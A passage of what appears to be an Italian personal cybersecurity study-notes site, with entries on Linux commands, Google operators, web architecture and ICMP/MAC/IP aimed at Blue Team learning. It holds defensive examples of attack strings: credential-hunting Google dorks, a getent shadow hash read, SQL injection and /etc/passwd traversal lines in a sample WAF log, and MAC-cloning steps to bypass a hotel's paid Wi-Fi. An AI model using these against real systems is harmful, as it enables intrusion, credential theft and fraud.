fa Corrispettivo Locale getent passwd [user] passwd Elenca utenti (Locali + LDAP/AD) /etc/passwd getent group [group] group Elenca gruppi e membri /etc/group getent hosts [host] hosts Risolve nomi host in IP /etc/hosts / DNS getent services [srv] services Mappatura porte/servizi ufficiali /etc/services getent shadow [user] shadow Estrae hash password (richiede sudo) /etc/shadow locale vs db # COMANDO FONTI DI DATI INTERROGATE +----------+ +---------------------------+ | cat | ---\u0026gt; | /etc/passwd (Solo locale) | +----------+ +---------------------------+ | +----------+ +---------------------------+ | | ---\u0026gt; | /etc/passwd (File locale) | | getent | | + | | | ---\u0026gt; | Network DB (LDAP/AD/NIS) | +----------+ +---------------------------+ | v [ RISULTATO UNIFICATO ] Perché è fondamentale per il Blue Team # In un'infrastruttura aziendale, molti utenti non risiedono fisicamente nel file /etc/passwd della macchina, ma in un server centralizzato (LDAP o Active Directory).\ncat /etc/passwd: Legge solo il file locale (visione parziale). getent passwd: Interroga il sistema e restituisce tutti gli utenti con diritto di accesso. Scenario Reale # Stai analizzando un server compromesso e noti un processo sospetto eseguito dall'utente web-admin. Cerchi l'utente in /etc/passwd ma non esiste. Eseguendo getent passwd web-admin, scopri che l'utente esiste nel server LDAP centrale. Questo conferma che il sistema è integrato in un dominio e che l'attaccante potrebbe puntare al Lateral Movement.\nNote personali # Wizard Tip: Se dimentichi la sintassi di /etc/passwd, usa getent passwd root. Ti restituirà la riga del root da usare come template per i campi (UID, GID, Home, Shell).\nCollegato a # system — categoria iam — categoria nss-name-service-switch — concetto (meccanismo sottostante) etc-passwd-anatomy — relazione (formato dati) ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/getent/","section":"Comandi","summary":"Interroga i database del Service Name Switch (NSS), permettendo di consultare utenti, gruppi, host e altri database di sistema indipendentemente dalla loro origine (locale o di rete).","title":"Getent","type":"comandi"},{"content":" Cos'è # Sintassi speciale per affinare le ricerche su Google e altri motori. In ambito OSINT e threat intelligence permettono di trovare informazioni specifiche su target, vulnerabilità, e risorse tecniche con precisione chirurgica.\nOperatori principali # Operatore Esempio Cosa fa \u0026quot;frase esatta\u0026quot; \u0026quot;passive reconnaissance\u0026quot; Cerca la frase esatta, parola per parola site: site:tryhackme.com success stories Limita la ricerca a un dominio specifico - pyramids -tourism Esclude risultati che contengono quella parola filetype: filetype:ppt cyber security Cerca solo file di quel tipo (pdf, doc, xls, ppt) Combinazioni utili per OSINT # # Trova documenti PDF pubblici di una azienda target filetype:pdf site:azienda.com # Trova pagine di login esposte site:azienda.com inurl:login # Trova file di configurazione esposti (Google Dorking) site:azienda.com filetype:env site:azienda.com filetype:config # Trova CVE specifici con exploit \u0026#34;CVE-2024-29988\u0026#34; exploit filetype:py Google Dorking — nota Blue Team # Google Dorking = usare operatori avanzati per trovare risorse sensibili esposte per errore Esempi di dork pericolosi: filetype:env DB_PASSWORD → file .env con credenziali filetype:sql \u0026#34;INSERT INTO\u0026#34; → dump database esposti intitle:\u0026#34;index of\u0026#34; /backup → directory listing aperte Come difensore: cerca questi dork sul tuo dominio per trovare esposizioni prima degli attaccanti.\nRisorse # Advanced Search Operators List Linux man pages online — documentazione tecnica Linux completa Microsoft Technical Documentation Dove l'ho incontrato # search-skills — room TryHackMe Scenario Reale # Un analista fa un assessment sulla propria azienda usando Google Dorking: site:azienda.com filetype:env — trova un file .env con credenziali database indicizzato per errore. Segnala immediatamente al team di sviluppo. Costo: 5 minuti. Alternativa: aspettare che lo trovi un attaccante.\nCollegato a # network — categoria passive-reconnaissance — tecnica di ricognizione passiva search-skills — room TryHackMe dove l'ho imparato ","date":"15 marzo 2026","externalUrl":null,"permalink":"/concetti/google-operators/","section":"Concetti","summary":"Sintassi speciale per affinare le ricerche su Google e altri motori. In ambito OSINT e threat intelligence permettono di trovare informazioni specifiche su target, vulnerabilità, e risorse tecniche con precisione chirurgica.","title":"Google Operators - Operatori di Ricerca Avanzata","type":"concetti"},{"content":" Cosa fa # Cerca pattern (stringhe o espressioni regolari) all'interno di file o flussi di dati (Standard Input). È il pilastro fondamentale per l'analisi dei log e l'isolamento di eventi sospetti.\nSintassi # grep [opzioni] \u0026quot;pattern\u0026quot; file\nComandi essenziali # Comando Flag Cosa fa grep \u0026quot;Failed\u0026quot; auth.log — Cerca righe con la parola esatta \u0026quot;Failed\u0026quot;. grep -i \u0026quot;error\u0026quot; syslog -i (ignore-case) Cerca \u0026quot;error\u0026quot; ignorando maiuscole/minuscole. grep -v \u0026quot;INFO\u0026quot; syslog -v (invert-match) Esclude le righe che contengono \u0026quot;INFO\u0026quot; (filtro negativo). grep -r \u0026quot;password\u0026quot; /etc/ -r (recursive) Ricerca globale in directory e sottocartelle. grep -c \u0026quot;Failed\u0026quot; auth.log -c (count) Conta le occorrenze totali del pattern. grep -n \u0026quot;error\u0026quot; syslog -n (line-number) Mostra il numero di riga del match. grep -A 5 \u0026quot;ssh\u0026quot; file -A (after) Mostra il match + le 5 righe successive (utile per contesto). grep -E \u0026quot;regex\u0026quot; file -E (extended) Abilita le espressioni regolari estese (ERE). grep -o 'pattern' file -o only-matching — solo il match Stampa solo la parte della riga che corrisponde al pattern, non tutta la riga grep -C 5 \u0026quot;ssh\u0026quot; file -C Mostra il match + le 5 righe precedenti (utile per contesto). 🧩 Potenziamento con Regex (Bandit 09 Style) # Quando usi grep -E, puoi usare simboli speciali per descrivere come deve essere fatta la riga, non solo cosa deve contenere.\nI \u0026quot;Mattoncini\u0026quot; usati nel Livello 09: # Simbolo Significato . Jolly: Rappresenta un carattere qualsiasi. * Quantificatore: Il carattere precedente può ripetersi 0 o infinite volte. ^ Ancora di Inizio: La riga deve iniziare esattamente da qui. $ Ancora di Fine: La riga deve finire esattamente qui. \\w Word: Corrisponde a lettere, numeri e underscore. Pattern: ^.*==.*$ ^ .* == .* $ | | | | | Inizio -- Qualsiasi -- Due uguali -- Qualsiasi -- Fine riga riga carattere fissi carattere Le tue varianti per Bandit 09: # grep -E \u0026quot;\\w*==\\w*\u0026quot;\nLogica: Cerca \u0026quot;parole\u0026quot; attaccate a due uguali. Rischio: Se la password ha uno spazio o un punto, la Regex si rompe. grep -E \u0026quot;.*=.*=.*\u0026quot;\nLogica: Almeno due simboli uguale in qualsiasi posizione. Rischio: Potrebbe catturare troppo rumore binario. grep -E \u0026quot;^.*==.*$\u0026quot;\n- _Logica:_ La riga \u0026#34;universale\u0026#34; che contiene almeno `==`. Vantaggio: È la più robusta per catturare stringhe sporche. 🧠 Analisi da Senior Analyst # Come vedi, la differenza fondamentale sta nel posizionamento del cuscinetto .*:\nSe metti .* prima dell'ancora di inizio (^.*), stai dicendo a grep: \u0026quot;Non mi interessa quanta spazzatura c'è prima di trovare il mio obiettivo\u0026quot;. Se lo togli (^==), stai dicendo: \u0026quot;Sii selettivo, l'obiettivo deve essere la primissima cosa che incontri\u0026quot;. LOGICA DELLE ANCORE E DEI CUSCINETTI (REGEX) # 1. CONTIENE \u0026#34;==\u0026#34; (In qualsiasi punto) Pattern: ^ . * = = . * $ | |__| |__| |__| | | | | | +-- Fine della riga | | | +------- Cuscinetto Post: Qualsiasi carattere (0+) | | +------------- CARATTERI FISSI: Cerca esattamente \u0026#34;==\u0026#34; | +------------------- Cuscinetto Pre: Qualsiasi carattere (0+) +----------------------- Inizio della riga Match: [ abc==123 ] , [ 5==========PASS ] , [ ==password ] -------------------------------------------------------------------------------- 2. INIZIA CON \u0026#34;==\u0026#34; (Rigido all\u0026#39;inizio) Pattern: ^ = = . * $ | |__| |__| | | | | +-- Fine della riga | | +------- Cuscinetto: Tutto ciò che segue i primi \u0026#34;==\u0026#34; | +------------- CARATTERI FISSI: La riga DEVE aprirsi con \u0026#34;==\u0026#34; +----------------- Inizio della riga Match: [ ==abc123 ] , [ ==password ] No Match: [ abc==123 ] (Inizia con \u0026#39;a\u0026#39;) -------------------------------------------------------------------------------- 3. FINISCE CON \u0026#34;==\u0026#34; (Rigido alla fine) Pattern: ^ . * = = $ | |__| |__| | | | | +-- Fine della riga: La riga DEVE chiudersi con \u0026#34;==\u0026#34; | | +------- CARATTERI FISSI | +------------- Cuscinetto: Tutto ciò che precede gli ultimi \u0026#34;==\u0026#34; +----------------- Inizio della riga Match: [ abc123== ] , [ password== ] No Match: [ abc==123 ] (Finisce con \u0026#39;3\u0026#39;) ================================================================================ Esempi pratici di navigazione # Uno dei tuoi trucchi più utili per studiare i manuali:\n# Estrae la sezione esempi dal manuale di find (circa 20 righe) man find | grep -A 20 -i \u0026#34;^examples\u0026#34; Combinazioni utili (SOC Analysis) # # Analisi forense: Classifica gli IP che hanno fallito il login (dal più frequente) cat /var/log/auth.log | grep \u0026#34;Failed\u0026#34; | awk \u0026#39;{print $11}\u0026#39; | sort | uniq -c | sort -rn # Monitoraggio Real-time: Filtra log cercando errori o negazioni journalctl -f | grep -i \u0026#34;error\\|failed\\|denied\u0026#34; # Hardening: Identifica quali servizi sono abilitati all\u0026#39;avvio sudo systemctl list-unit-files | grep \u0026#34;enabled\u0026#34; Estrae tutti i src di file JS da una pagina HTML # grep -o \u0026#39;src=\u0026#34;[^\u0026#34;]*\\.js\u0026#34;\u0026#39; index.html # -o = stampa solo il match, non tutta la riga # [^\u0026#34;]* = qualsiasi carattere tranne virgolette (zero o piu\u0026#39;) # \\.js = letteralmente \u0026#34;.js\u0026#34; (il . e\u0026#39; escaped) # Utile per: analisi di pagine web, trovare risorse caricate Scenario Reale # Durante l'analisi di un possibile attacco Brute Force, un analista utilizza la combinazione grep | uniq -c per identificare se un singolo indirizzo IP ha generato migliaia di tentativi di accesso in pochi minuti, permettendo di bloccare l'attaccante sul firewall.\nDove l'ho usato # bandit-07 — Per trovare la stringa \u0026quot;millionth\u0026quot; in un file di dati immenso. bandit-10 — Per estrarre dati leggibili da output complessi. progetto-lab-vm — Per navigare nel manuale di SSH e controllare lo stato dei demoni. Note personali # Analyst Tip: La combo grep | sort | uniq -c | sort -rn è il pane quotidiano del SOC. Trasforma migliaia di righe di log disordinate in una classifica statistica chiara. Ricorda di usare sempre le virgolette \u0026quot; \u0026quot; per racchiudere il pattern.\nCollegato a # log — categoria (Hub) system — categoria (Hub) regex — concetto (pattern complessi) awk — spesso usato in pipeline dopo grep per isolare colonne specifiche ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/grep/","section":"Comandi","summary":"Cerca pattern (stringhe o espressioni regolari) all'interno di file o flussi di dati (Standard Input). È il pilastro fondamentale per l'analisi dei log e l'isolamento di eventi sospetti.","title":"grep - cerca pattern nel testo (Global Regular Expression Print)","type":"comandi"},{"content":" Cosa fa # Utility per la compressione di file singoli tramite l'algoritmo DEFLATE. Il nome sta per GNU zip.\nSintassi # gzip [opzioni] [file]\nComandi essenziali # Comando Flag Cosa fa gzip file.txt — Comprime il file e lo rinomina in file.txt.gz. gunzip file.gz -d (decompress) Riporta il file allo stato originale. gzip -l file.gz -l (list) Mostra il rapporto di compressione. Compressione (ASCII) # [ FILE ORIGINALE ] (100MB) ==\u0026gt; [ FILE.GZ ] (30MB) Collegato a # file — categoria bzip2 — alternativa per compressione compressione-arichivazione ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/gzip/","section":"Comandi","summary":"Utility per la compressione di file singoli tramite l'algoritmo DEFLATE. Il nome sta per GNU zip.","title":"gzip - compressione file","type":"comandi"},{"content":" Cosa fa # Visualizza la porzione iniziale (le prime righe o byte) di uno o più file o dell'input ricevuto. head (1) - emette la prima parte dei file.\nSintassi # head [opzioni] [file]\nComandi essenziali # Comando Flag Significato flag Cosa fa head -n 5 file.txt -n Lines Mostra le prime 5 righe (default: 10). head -c 100 file.txt -c Bytes Mostra i primi 100 byte del file. head -q file1 file2 -q Quiet Non stampa le intestazioni con i nomi dei file. Combinazioni utili # # Visualizza le prime 20 righe dei log di sistema sudo head -n 20 /var/log/syslog Scenario Reale # Un analista sta esaminando un file CSV gigante da 10GB. Invece di aprirlo tutto (bloccando il sistema), usa head -n 1 per leggere solo l'intestazione e capire quali colonne sono presenti.\nDove l'ho usato # bandit-12 — per analizzare l'inizio di file sconosciuti. Collegato a # file — categoria\nsystem — categoria\ntail — il comando complementare\n","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/head/","section":"Comandi","summary":"Visualizza la porzione iniziale (le prime righe o byte) di uno o più file o dell'input ricevuto. head (1) - emette la prima parte dei file.","title":"head - mostra le prime righe di un file","type":"comandi"},{"content":" Cosa fa # Visualizza un riassunto rapido della sintassi, dei flag e delle opzioni di un comando direttamente nello standard output. È lo strumento di consultazione più veloce per recuperare i parametri senza uscire dal flusso di lavoro del terminale.\nSintassi # comando --help comando -h (alternativa comune)\nComandi essenziali # Flag Caratteristiche Note Blue Team --help Guida estesa GNU Standard per la maggior parte dei binari Linux moderni. -h Guida rapida/Short Attenzione: in alcuni comandi (es. ls -h) significa \u0026quot;human-readable\u0026quot;, non help. Differenza con 'man' # Mentre il comando man apre un manuale completo e navigabile in una nuova interfaccia (pager), --help stampa poche righe direttamente sopra il tuo cursore. È ideale per quando ricordi il comando ma hai dimenticato la lettera esatta di un flag (es: \u0026quot;era -r o -R?\u0026quot;).\nScenario Reale # Sei nel mezzo di una sessione di analisi su un server remoto e hai bisogno di usare tar per comprimere dei log, ma non ricordi l'ordine corretto per estrarre l'archivio. Digiti tar --help per avere un riferimento istantaneo della sintassi senza perdere la visualizzazione dei file nella directory corrente.\nDove l'ho usato # bandit-05 — Per controllare velocemente l'ordine dei parametri di find e la sintassi corretta del flag -size. Note personali # Analyst Tip: Se l'output di --help è troppo lungo e scorre via, puoi filtrarlo o leggerlo con calma usando la pipeline: comando --help | less o comando --help | grep \u0026quot;keyword\u0026quot;.\nCollegato a # system — categoria (Hub) man — per consultazioni approfondite ed esaustive. ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/help/","section":"Comandi","summary":"Visualizza un riassunto rapido della sintassi, dei flag e delle opzioni di un comando direttamente nello standard output. È lo strumento di consultazione più veloce per recuperare i parametri senza uscire dal flusso di lavoro del terminale.","title":"Help","type":"comandi"},{"content":" Cosa è # Architettura completa di una richiesta web end-to-end: DNS, WAF, load balancer, web server, virtual host, database, contenuto statico vs dinamico, backend languages.\nFlusso completo — dalla URL al browser # Browser: \u0026#34;tryhackme.com\u0026#34; │ ▼ ┌─────────────────────────────┐ │ 1. Cache locale │ /etc/hosts → cache OS └──────────────┬──────────────┘ │ miss ▼ ┌─────────────────────────────┐ │ 2. Recursive DNS │ ISP / 1.1.1.1 / 8.8.8.8 └──────────────┬──────────────┘ │ miss ▼ ┌─────────────────────────────┐ │ 3. Root DNS → TLD → Auth │ risposta: IP = 104.26.10.229 └──────────────┬──────────────┘ │ IP ottenuto ▼ ┌─────────────────────────────┐ │ 4. WAF │ analizza la richiesta HTTP │ Web Application Firewall │ è un attacco? → DROP │ │ è un bot? → DROP / captcha │ │ rate limit superato? → DROP └──────────────┬──────────────┘ │ richiesta pulita ▼ ┌─────────────────────────────┐ │ 5. Load Balancer │ quale server è meno carico? │ │ algoritmo: round-robin o weighted │ │ health check: server vivo? └──────┬──────────┬───────────┘ │ │ │ ▼ ▼ ▼ [web-1] [web-2] [web-3] ← uno viene scelto │ ▼ ┌─────────────────────────────┐ │ 6. Web Server │ porta 80 (HTTP) o 443 (HTTPS) │ Apache / Nginx / IIS │ riceve GET /page HTTP/1.1 │ Node.js │ └──────────────┬──────────────┘ │ ▼ ┌─────────────────────────────┐ │ 7. Virtual Host matching │ legge header Host: │ │ trova la root directory giusta └──────────────┬──────────────┘ │ ┌───────┴────────┐ ▼ ▼ [statico] [dinamico] serve file chiama backend direttamente (PHP, Python...) │ │ │ ▼ │ ┌─────────────┐ │ │ Database │ MySQL, Postgres, MongoDB... │ └──────┬──────┘ │ │ dati └───────┬─────────┘ ▼ ┌─────────────────────────────┐ │ 8. Risposta HTTP │ HTML + CSS + JS + immagini └──────────────┬──────────────┘ ▼ Browser renderizza ✓ Location fisica dei componenti nel flusso # LOCALE (tua macchina) RETE (server di qualcun altro) ────────────────────────── ────────────────────────────────── /etc/hosts Recursive DNS (ISP / Google / CF) Cache OS RAM Root DNS (distribuito Anycast) /etc/resolv.conf TLD server (Verisign, Registro.it) Authoritative (Cloudflare, AWS, etc.) I primi tre non escono mai dalla tua macchina. Dal Recursive DNS in poi sei in rete. Dettaglio per ogni step del flusso:\nStep 1 — Cache locale ├── /etc/hosts → file su disco, tua macchina, priorità assoluta ├── Cache OS DNS → RAM, tua macchina, svuotata al reboot └── /etc/resolv.conf → file su disco, tua macchina, contiene l\u0026#39;IP del recursive server da usare Step 2 — Recursive DNS └── server fisico nel datacenter dell\u0026#39;ISP oppure macchine Google (8.8.8.8) oppure macchine Cloudflare (1.1.1.1) Step 3 — Root DNS └── macchine fisiche distribuite globalmente via Anycast stesso IP → risponde la macchina più vicina a te Step 4 — TLD server └── macchine fisiche di Verisign (.com), Registro.it (.it), etc. Step 5 — Authoritative NS └── macchine fisiche di Cloudflare, AWS Route53, etc. dove hai configurato i record del tuo dominio WAF — Web Application Firewall # Internet │ │ GET /login?user=admin\u0026#39;OR\u0026#39;1\u0026#39;=\u0026#39;1 ← SQL injection attempt ▼ ┌──────────────────────────────────────┐ │ WAF │ │ │ │ checks: │ │ ├── pattern matching (SQLi, XSS...) │ │ ├── è un browser reale o un bot? │ │ ├── rate limit: \u0026gt;100 req/sec? │ │ └── IP in blacklist? │ │ │ │ CLEAN ──────────────────────────── │──► web server │ ATTACK → DROP (mai arriva al server)│ └──────────────────────────────────────┘ Blue team: i log del WAF sono la prima fonte di alert. Un flood di DROP sullo stesso IP = attacco in corso. Un 403 improvviso su /admin = qualcuno sta cercando pannelli. Dove sta fisicamente il WAF — 3 architetture:\n1. Appliance dedicata (hardware o VM separata): Internet → [WAF fisico] → Load Balancer → Web Server Esempi: F5 BIG-IP, Fortiweb 2. Software integrato nel load balancer: Internet → [Load Balancer + WAF] → Web Server Esempi: nginx + ModSecurity, AWS ALB + WAF 3. Cloud WAF (livello CDN): Internet → [Cloudflare WAF] → il tuo server La richiesta non arriva mai al tuo datacenter se bloccata Esempio: Cloudflare, Akamai Nel flusso TryHackMe è mostrato come componente separato ma nella realtà è spesso integrato nel load balancer o CDN. Load Balancer # Client │ ▼ ┌─────────────────────────────────────────┐ │ Load Balancer │ │ │ │ algoritmi di distribuzione: │ │ ├── round-robin: server 1→2→3→1→2→3 │ │ └── weighted: manda al meno occupato │ │ │ │ health check (heartbeat): │ │ ├── ogni N secondi pinga ogni server │ │ ├── server risponde? → attivo ✓ │ │ └── server non risponde? → escluso ✗ │ └──────┬──────────────┬───────────────────┘ │ │ │ ▼ ▼ ▼ ┌─────────┐ ┌─────────┐ ┌─────────┐ │ web-1 │ │ web-2 │ │ web-3 │ │ attivo │ │ attivo │ │ DOWN ✗ │ └─────────┘ └─────────┘ └─────────┘ ↑ load balancer smette di mandargli traffico CDN — Content Delivery Network # Senza CDN: Utente UK ──────────────────────────────► Server USA ~100ms latenza Con CDN: Utente UK ──► Edge server Londra ✓ Server USA ~5ms latenza (solo per contenuto dinamico) File statici copiati su edge server globali: ├── JavaScript ├── CSS ├── Immagini └── Video Esempi: Amazon CloudFront, Cloudflare CDN, Netflix edge nodes Edge server — cos'è fisicamente:\nCDN = rete globale di edge server fisici ┌──────────────────────────────────┐ │ Origin server (il tuo server) │ │ /var/www/html/logo.png │ └──────────────┬───────────────────┘ │ copia i file statici ┌─────────┼─────────┐ ▼ ▼ ▼ [Milano] [Londra] [Tokyo] ← edge server fisici nei datacenter locali Utente UK richiede logo.png: CDN calcola → edge server Londra è più vicino risponde da Londra (~5ms) invece che dal tuo server (~100ms) Il tuo server origin viene contattato solo per contenuto dinamico o quando la cache dell\u0026#39;edge è scaduta. Virtual Host — matching Host header → directory # Richiesta in arrivo al web server: GET /page HTTP/1.1 Host: one.com ← questo header decide tutto User-Agent: Firefox/87.0 Web server legge Host: one.com │ ▼ ┌─────────────────────────────────────────────────┐ │ Virtual Host config (file testuali su disco) │ │ │ │ one.com → /var/www/website_one │ │ two.com → /var/www/website_two │ │ default → /var/www/html │ └──────────────────┬──────────────────────────────┘ │ match trovato: one.com ▼ ┌─────────────────────────────────────────────────┐ │ Document root: /var/www/website_one │ │ │ │ GET /page → /var/www/website_one/page.html │ └─────────────────────────────────────────────────┘ Nessun match → serve /var/www/html (sito di default) Default document root per OS: ├── Linux (Apache/Nginx): /var/www/html └── Windows (IIS): C:\\inetpub\\wwwroot Blue team: virtual host misconfiguration → un dominio interno potrebbe servire il sito di default invece del sito corretto, oppure esporre directory non previste. Virtual host = file di configurazione testuale su disco:\nNginx — file: /etc/nginx/sites-enabled/one.com.conf ┌──────────────────────────────────────┐ │ server { │ │ server_name one.com; │ │ root /var/www/website_one; │ │ } │ └──────────────────────────────────────┘ Apache — file: /etc/apache2/sites-enabled/one.com.conf ┌──────────────────────────────────────┐ │ \u0026lt;VirtualHost *:80\u0026gt; │ │ ServerName one.com │ │ DocumentRoot /var/www/website_one│ │ \u0026lt;/VirtualHost\u0026gt; │ └──────────────────────────────────────┘ Il software legge questi file all\u0026#39;avvio → mappa in RAM → quando arriva Host: one.com sa subito dove guardare senza rileggere il file a ogni richiesta. Web server = software, non hardware:\nMacchina fisica o VM └── OS (Linux / Windows) └── Web server software ← Apache / Nginx / IIS / Node.js └── ascolta porta 80/443 └── gestisce richieste HTTP Apache → open source, Linux/Windows, molto diffuso Nginx → open source, più leggero e veloce di Apache IIS → Microsoft, solo Windows Node.js → runtime JavaScript — non è un web server classico, ma può fungere da server HTTP tramite librerie Statico vs Dinamico # STATICO DINAMICO ──────────────────── ──────────────────────────── File serviti così com\u0026#39;è Generato al momento della richiesta CSS, JS, immagini, HTML fisso Blog, risultati di ricerca, dashboard Flusso statico: Flusso dinamico: Browser → web server Browser → web server │ │ ▼ ▼ /var/www/html Backend (PHP, Python, Node...) /img/logo.png │ │ ▼ ▼ Database query risposta diretta │ ▼ HTML generato │ ▼ risposta al browser Backend Languages — esempio PHP # Richiesta: GET /index.php?name=adam HTTP/1.1 Codice PHP sul server (il client NON lo vede mai): \u0026lt;html\u0026gt;\u0026lt;body\u0026gt;Hello \u0026lt;?php echo $_GET[\u0026#34;name\u0026#34;]; ?\u0026gt;\u0026lt;/body\u0026gt;\u0026lt;/html\u0026gt; │ │ legge ?name=adam dalla query string ▼ HTML restituito al client: \u0026lt;html\u0026gt;\u0026lt;body\u0026gt;Hello adam\u0026lt;/body\u0026gt;\u0026lt;/html\u0026gt; ⚠️ Input utente → codice backend → output HTML Se il backend non sanitizza → SQL injection, XSS, RCE Questo è il motivo per cui \u0026#34;non vedi il codice\u0026#34; ≠ \u0026#34;è sicuro\u0026#34; Database comuni # DB Tipo Uso tipico MySQL Relazionale Web app classiche, WordPress PostgreSQL Relazionale App complesse, dati strutturati MSSQL Relazionale Stack Microsoft/Windows MongoDB Non relazionale (documenti) App JSON, dati flessibili Scenario Reale # Un analista SOC vede questo nei log del WAF:\n192.168.1.45 GET /index.php?id=1\u0026#39; → DROP (SQLi attempt) 192.168.1.45 GET /index.php?id=1 OR → DROP (SQLi attempt) 192.168.1.45 GET /../../../etc/passwd → DROP (path traversal) 192.168.1.45 GET /admin → 403 (arrivato al server) 192.168.1.45 GET /wp-admin → 404 (arrivato al server) Le prime tre sono state bloccate dal WAF. Le ultime due sono arrivate al web server — il WAF non le ha riconosciute come attacco ma sono comunque tentativi di enumerazione. Un attaccante che cerca /admin e /wp-admin sta fingerprinting il target.\nCollegato a # http-in-detail — protocollo HTTP usato in tutto questo flusso dns-resolution — passo 1-3 del flusso network — categoria ctf — categoria ","date":"15 marzo 2026","externalUrl":null,"permalink":"/concetti/how-web-works/","section":"Concetti","summary":"Architettura completa di una richiesta web end-to-end: DNS, WAF, load balancer, web server, virtual host, database, contenuto statico vs dinamico, backend languages.","title":"How Web Works","type":"concetti"},{"content":" Cos'è # Tre concetti fondamentali del networking: IP identifica dove sei nella rete (indirizzo logico), MAC identifica chi sei fisicamente sulla LAN (indirizzo hardware), ICMP è il protocollo di diagnostica usato da ping e traceroute.\nIP vs MAC — due livelli diversi # MODELLO OSI ─────────────────────────────────────────── Layer 3 — Network → IP Address identifica dove sei nella rete cambia se cambi rete es. 192.168.1.45 Layer 2 — Data Link → MAC Address identifica chi sei fisicamente hardcoded nel firmware della scheda non cambia (in teoria) es. 00:1A:2B:3C:4D:5E ─────────────────────────────────────────── Nella LAN: i dispositivi si trovano tramite MAC (ARP) Fuori dalla LAN: il MAC non viaggia più, conta solo l\u0026#39;IP MAC Address # Struttura: 6 byte in esadecimale 00:1A:2B : 3C:4D:5E ──────── ──────── OUI NIC specific (primi 3) (ultimi 3) OUI = Organizationally Unique Identifier identifica il produttore della scheda es. 00:1A:2B = produttore X MAC Spoofing:\nScenario reale: Firewall configurato → permette solo MAC dell\u0026#39;amministratore Attaccante scopre il MAC → lo impersona (spoof) Firewall convinto → traffico malevolo passa Usato anche legalmente: Hotel/café Wi-Fi → controllo accessi per MAC Cambio MAC → bypass del filtro ICMP — Internet Control Message Protocol # Non trasporta dati applicativi. Trasporta messaggi di diagnostica e controllo di rete. Struttura header ICMP:\n┌───────────────┬───────────────┬───────────────────────────────┐ │ Type │ Code │ Checksum │ ├───────────────┴───────────────┼───────────────────────────────┤ │ Identifier │ Sequence Number │ ├───────────────────────────────┴───────────────────────────────┤ │ Data (payload) │ └───────────────────────────────────────────────────────────────┘ Type → tipo messaggio Code → sottotipo ───────────────────────────────────────── 0 Echo Reply — risposta al ping 8 Echo Request — ping in uscita 3 Dest. Unreachable 0 rete non raggiungibile 1 host non raggiungibile 3 porta non raggiungibile 11 Time Exceeded 0 TTL scaduto (usato da traceroute) Flusso ping:\n[Tu] [8.8.8.8] │ │ │── ICMP Type 8 (Echo Request) ────►│ │ seq=1, ttl=64 │ │ │ │◄─ ICMP Type 0 (Echo Reply) ───────│ │ seq=1, ttl=118, time=12ms │ TTL — Time To Live:\nOgni router che il pacchetto attraversa decrementa TTL di 1. Quando TTL = 0 → il router scarta il pacchetto → manda ICMP Type 11 (Time Exceeded) al mittente Questo meccanismo è la base di traceroute: manda pacchetti con TTL=1, poi TTL=2, poi TTL=3... ogni router risponde con ICMP Time Exceeded → mappa il percorso hop per hop Perché è importante per Blue Team # MAC spoofing → bypass firewall basati su MAC whitelist rilevabile confrontando ARP table con MAC attesi ICMP → ping flood = DoS elementare ICMP tunnel = esfiltrazione dati nascosta in ping Bloccare ICMP completamente = problema diagnostica IP vs MAC → capire ARP è fondamentale per rilevare ARP poisoning (attacco MITM su LAN) Scenario Reale # Un analista vede traffico ICMP anomalo nel SIEM — centinaia di Echo Request al secondo verso un host interno. Potrebbe essere un ping flood (DoS) o un ICMP tunnel (malware che esfila dati nascondendoli nei pacchetti ping). Analizza il payload ICMP con Wireshark: se il campo Data contiene dati non standard, è tunneling.\nDove l'ho incontrato # network-fundamentals — TryHackMe modulo 2 Caso Reale — MAC Spoofing in Hotel # SCENARIO: Hotel fa pagare la connessione per dispositivo [Laptop] MAC: AA:BB:CC → paga → autorizzato ✅ [Telefono] MAC: 11:22:33 → non pagato → bloccato ❌ Attacco:\n1. Scopri il MAC del laptop (già autorizzato) 2. Cambia il MAC del telefono → cloni AA:BB:CC 3. Il router vede AA:BB:CC → pensa sia il laptop 4. Telefono passa ✅ ⚠️ MA: laptop e telefono NON possono essere connessi insieme stesso MAC sulla stessa rete = conflitto i pacchetti vanno a caso su uno dei due connessione instabile su entrambi FUNZIONA SOLO SE: → il laptop è disconnesso (prendi il suo posto) → oppure sei su segmenti di rete separati Come lo rileva il Blue Team:\nSwitch managed vede stesso MAC su due porte diverse │ ▼ Alert → \u0026#34;duplicate MAC detected\u0026#34; │ possibili cause: ├── MAC spoofing in corso └── errore di configurazione Contromisure: - Port Security (blocca porta se MAC duplicato) - Dynamic ARP Inspection (DAI) - 802.1X authentication (autenticazione per certificato, non MAC) Risorse # TryHackMe Network Fundamentals Collegato a # network — categoria ping — comando che usa ICMP nmap — usa ICMP per host discovery network-interfaces — MAC è legato all'interfaccia fisica ssh-protocol — opera sopra IP (Layer 3+) ","date":"15 marzo 2026","externalUrl":null,"permalink":"/concetti/icmp-mac-ip/","section":"Concetti","summary":"Tre concetti fondamentali del networking: IP identifica dove sei nella rete (indirizzo logico), MAC identifica chi sei fisicamente sulla LAN (indirizzo hardware), ICMP è il protocollo di diagnostica usato da ping e traceroute.","title":"ICMP, MAC e IP - Identità e Diagnostica di Rete","type":"concetti"},{"content":" Cosa fa # Sistema di documentazione avanzato che organizza i manuali in menu navigabili e collegati (ipertestuali). info (1) - legge documenti in formato Info.\nL'utilità spiegata # Mentre man è un lungo testo statico, info è come un mini-sito web nel terminale. È molto più dettagliato per i comandi complessi e permette di saltare tra i capitoli.\nComandi di navigazione # Tasto Azione n / p Nodo successivo / precedente. u Torna al livello superiore (Up). q Esci (Quit). Collegato a # system — categoria ","date":"15 marzo 2026","externalUrl":null,"permalink":"/comandi/info/","section":"Comandi","summary":"Sistema di documentazione avanzato che organizza i manuali in menu navigabili e collegati (ipertestuali). info (1) - legge documenti in formato Info.","title":"Info","type":"comandi"},{"content":" Cos'è # L'Inode (Index Node) è la struttura dati fondamentale dei filesystem Unix-like. Funge da \u0026quot;carta d'identità\u0026quot; del file, contenendo tutti i metadati e i puntatori ai dati fisici, ma ignorando completamente il nome del file.\nL'Essenza del Sistema: \u0026quot;Everything is a File\u0026quot; # tutto è un file In Linux, la massima \u0026quot;tutto è un file\u0026quot; si traduce tecnicamente nel fatto che ogni oggetto (documento, cartella, dispositivo hardware) è rappresentato da un Inode.\nA basso livello, nel codice C del Kernel, l'Inode è una struct (una struttura dati complessa) che funge da ponte logico:\nDa una parte riceve il 